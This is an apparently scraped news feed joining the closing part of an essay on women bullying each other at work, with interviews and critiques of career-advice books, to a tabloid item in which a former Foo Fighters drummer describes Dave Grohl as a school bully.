When I’d initially emailed Tavris for an interview, she had written back, “Your request makes me sad.” But as I described the experiences of the women I had interviewed, she acknowledged that in some contexts, women do sometimes bully one another—just as members of other discriminated-against groups would.

Toward the end of our conversation, Tavris complimented Ellemers’s research. How we behave at work depends on “how safe we feel at work,” she said. “Does our work give us a chance to thrive? Or are we feeling thwarted at every step?”

I once worked with a queen bee—a woman a couple of decades my senior. (She outranked me but wasn’t my supervisor.) Soon after I started, she and I were alone in our shared workspace. It was a busy day, but I needed to ask her a question about an internal process. I waited until late afternoon, then asked.

She glared at me and turned bright red. Then she screamed at me like I had never been screamed at before by someone I’m not related to. (Later, when I complained about her, my boss said, by way of explanation, that the office was a family-like environment.)

That was probably our worst encounter, but it wasn’t the only bad one. She would seethe at me for things beyond my control and complain about me to my boss. Once, I let out a sigh after a frustrating phone call, and she lambasted me for seeming entitled. Another co-worker overheard and told her to cool it.

“I’m sorry, but she had a tone!” she responded, like a baroness exasperated by the impertinent help.

I began to have stomachaches and cold sweats when I walked into work. Still, I couldn’t quite hate the woman. She was obviously miserable in her job, and every time I looked in her stress-deadened eyes, I saw a little of myself.

Is this the ghost of future Olga?, I sometimes wondered. Is this what happens when the totally normal, societally sanctioned choices you’ve made—work hard; have children; slave away for a promotion; go on a little vacation, not too long!; come back and work even harder—don’t add up to the life you envisioned? You said the right thing at the meeting, didn’t you? You helped on the important project. Why not you, then? It would be enraging.

The truth is, I too sometimes feel like the day is just too exhausting, that I cannot possibly handle one more thing with grace. I like to think I haven’t taken it out on my colleagues. But my queen bee had a rougher go of it than I did, climbing her way up before Lean In, before ’90s-style sensitivity training. She probably experienced the kind of sexism that doesn’t take a Sarah Lawrence degree to sniff out, the kind where your male equals call you “sweetie” or tell you, up front, that you don’t belong. I had to ask myself, How many years of treatment like that would it take for me to become mean like her? Ten years? Twenty? Or would it require only the right opportunity—like an unusually bad day, when no one else is around?

Curious to know what career gurus have to say about dealing with queen bees, I took a spin through some of the top-selling “getting ahead” books aimed at women. What I found was eye-opening, but not in the way I’d hoped.

For example, the 2014 “revised and updated” version of Nice Girls Don’t Get the Corner Office, which was originally published in 2004, notes that women “often wind up making mountains out of molehills, much to the consternation of their male colleagues.” The authors of the 2006 book The Girl’s Guide to Being a Boss (Without Being a Bitch) offer a long tale of woe from a woman with a bitchy boss, then write simply that if you (the boss) feel that you are a bitch, you should take an anger-management course. Problem solved.

In Play Like a Man, Win Like a Woman, former CNN Vice President Gail Evans recommends avoiding workplace tension by not having any contact with colleagues outside the office. If an emotion somehow surfaces during work hours, a true executive-track gal stuffs it back down. “If you can’t help but become angry with a female co-worker,” Evans writes, “for the sake of the rest of us, keep it to yourself.”

Even when workplace bullying becomes severe, employment lawyers told me, women are less likely to sue for gender discrimination if their tormentor is another woman, since people tend to assume that women look out for one another. (One lawyer said that this is why companies often appoint members of “protected classes,” such as minorities and women, to human-resources roles. Having someone from one of these groups handle a firing can make it harder to sue for wrongful termination.)

Still, the answer can’t be to simply capitulate to queen bees, as some of the women I interviewed suggested. Even if you later quit, you only foist your awful boss on the next underling. At another women’s networking happy hour, I met a woman named Marie, who, when I asked whether she had ever clashed with a female boss, burst into knowing laughter. At a previous job as a defense-industry analyst, Marie had had two bosses, a man and a woman. She was assigned to cover Haiti when the 2010 earthquake struck, forcing her to work long, difficult hours. The male manager praised her, but the woman made her a target. When Marie forgot to close a quotation mark in a report, her female boss denounced her as a plagiarist and eventually pushed her out. Marie’s takeaway: “You should not outshine the boss.”

Nurses might have a better solution. Their profession is rife with female bullying, but a group of nurses has floated an idea in which hospitals would have financial incentives to eliminate staff infighting. According to this plan, levels of bullying would be measured, publicly reported, and factored into the payments hospitals get from the federal government for providing quality care.

Better support for working moms could help, too. From my reporting, it seemed that while having family-friendly policies was important, having a boss who bought into those policies mattered just as much. One woman I spoke with, for example, was technically allowed to work from home when her kids were sick, but her older female manager would make her feel bad about it every time, thus negating the point of the policy.

Employers could also make more of an effort to show talented women that they’re valued, since women who feel optimistic about their career prospects are less likely to tear one another down. “We need to change our society so that it becomes normative for women to see other women succeeding in all kinds of roles,” Laurie Rudman says. Indeed, industries that are new and therefore lack entrenched social roles tend to be where this type of change takes place.

Toward the end of our conversation, Rudman emphasized how important it is for high-achieving women to own their success rather than chalking it all up to mentors and luck, even if doing so comes with a price. Stereotypes about how female leaders should behave, Rudman said, will only change when enough of us defeat them. I felt like I was talking with the hip, feminist aunt I never had.

“Have you felt resistance to your success?” she asked me.

Occasionally, I said, thinking of a handful of times people had wondered, a little too pointedly, how I’d scored one career win or another.

And what, she asked, did I do about it?

“I said I just got lucky,” I replied, “or came up with some excuses.”

“YAAAAA!” she cried. “See? See? So do you think women should rethink that strategy? Should maybe women start being stronger in our confidence?”

I admitted that it was a good idea, but that “something is keeping me from acting in a more confident way, even though that would be good for women in general.”

“It would be good for women as a whole,” Rudman said. “But individual women have to be shot down first. And you don’t want to be one of those. And I don’t blame you.”

Someone has to be the first, though—to behave confidently, to risk knee-jerk bitterness from our colleagues as a result, and to not hold it against them. But it would be easier if we could do it as a hive.

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]]> https://briefnews.eu/why-do-women-bully-each-other-at-work/feed/ 0 Foo Fighters: Dave Grohl SLAMMED by ex-drummer William Goldsmith as ‘school BULLY’ https://briefnews.eu/foo-fighters-dave-grohl-slammed-by-ex-drummer-william-goldsmith-as-school-bully/ https://briefnews.eu/foo-fighters-dave-grohl-slammed-by-ex-drummer-william-goldsmith-as-school-bully/#respond Tue, 11 Jul 2017 08:20:29 +0000 http://briefnews.eu/foo-fighters-dave-grohl-slammed-by-ex-drummer-william-goldsmith-as-school-bully/

The former band member played for Foo Fighters as drummer between 1995 and 1997 contributing to their second album, The Colour And Shape.

However he later discovered that Grohl had re-recorded most of his part.

Speaking with the Daily Mail, Goldsmith said: “Apparently Dave was going to re-record a few of the songs.

“I don’t know if the producer told him to keep going, or what. But the next thing you know, all of the work I had done was gone except for one or two of the tracks.”

The drummer claimed he was left “creatively raped”, continuing: “It was a way of describing how it felt – when you put that much of yourself into something, and then without you even knowing, it is completely destroyed from existence.

“Management, the producers and Dave, I think they all wanted Dave to play drums on that record. 

“I would have been cool if it had been half me and half him. Or even if there had been some kind of communication about what they were doing. But they basically dragged me through the coals.

“It was brutal and I think maybe the producer was hoping I would give up but I didn’t. I found out he had redone all the tracks and got rid of everything, and then he still wanted me to be in the band and tour live.”

He continued: “I was like, man, there are some people that are hired and session musicians and that’s cool. But that’s not why I set out to play music. That’s not what I did it for.”

Goldsmith also compared Growl to a school bully, adding: “He was a bit like the kid who is popular but is mean and everyone likes them.”

The drummer eventually turned to drink and drugs, before leaving the band in December 1997, feeling under-appreciated.

He added: “I remember once Dave said in an interview that touring with me was like touring with a punching bag.

“At the same time at that point in my life, my ability to set boundaries and my own self-confidence was lacking and I made it that much easier for him. As time has gone on I have gone through some experiences which turned me into a man.”

Goldsmith added: “People aren’t allowed to pull bulls*** with me any more. I am as much at fault for allowing myself to get treated like crap.

“The way I look at it now is if it hadn’t have happened the records I made afterwards wouldn’t have been made and I wouldn’t have had the children I have.”

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Daily Express :: Entertainment Feed

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